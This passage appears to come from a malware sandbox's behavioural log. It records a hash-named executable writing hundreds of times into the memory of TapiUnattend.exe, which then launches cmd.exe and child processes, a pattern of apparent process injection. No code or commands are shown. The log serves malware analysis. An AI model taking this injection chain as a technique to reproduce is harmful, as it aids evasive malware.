de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3420 wrote to memory of 2364 3420 TapiUnattend.exe 71 PID 3420 wrote to memory of 2364 3420 TapiUnattend.exe 71 PID 3420 wrote to memory of 2364 3420 TapiUnattend.exe 71 PID 3564 wrote to memory of 2020 3564 de211b9bc6b587b466a9fa4f73aed579.exe 72 PID 3564 wrote to memory of 2020 3564 de211b9bc6b587b466a9fa4f73aed579.exe 72 PID 3564 wrote to memory of 2020 3564 de211b9bc6b587b466a9fa4f73aed579.exe 72 PID 3564 wrote to memory of 2020 3564 de211b9bc6b587b466a9fa4f73aed579.exe 72 PID 3564 wrote to memory of 2020 3564 de211b9bc6b587b466a9fa4f73aed579.exe 72 PID 2364 wrote to memory of 1464 2364 cmd.exe 74 PID 2364 wrote to memory of 1464 2364 cmd.exe 74 PID 2364 wrote to memory of 1464 2364 cmd.exe 74 PID 2364 wrote to memory of 1208 2364 cmd.exe 75 PID 2364 wrote to memory of 1208 2364 cmd.exe 75 PID 2364 wrote to memory of 1208 2364 cmd.exe 75 PID 2364 wrote to memory of 1160 2364 cmd.exe 76 PID 2364 wrote to memory of 1160 2364 cmd.exe 76 PID 2364 wrote to memory of 1160 2364 cmd.exe 76 PID 2364 wrote to memory of 4016 2364 cmd.exe 77 PID 2364 wrote to memory of 4016 2364 cmd.exe 77 PID 2364 wrote to memory of 4016 2364 cmd.exe 77 PID 3420 wrote to memory of 2064 3420 TapiUnattend.exe 81 PID 3420 wrote to memory of 2064 3420 TapiUnattend.exe 81 PID 3420 wrote to memory of 2064 3420 TapiUnattend.exe 81 PID 2064 wrote to memory of 2952 2064 cmd.exe 83 PID 2064 wrote to memory of 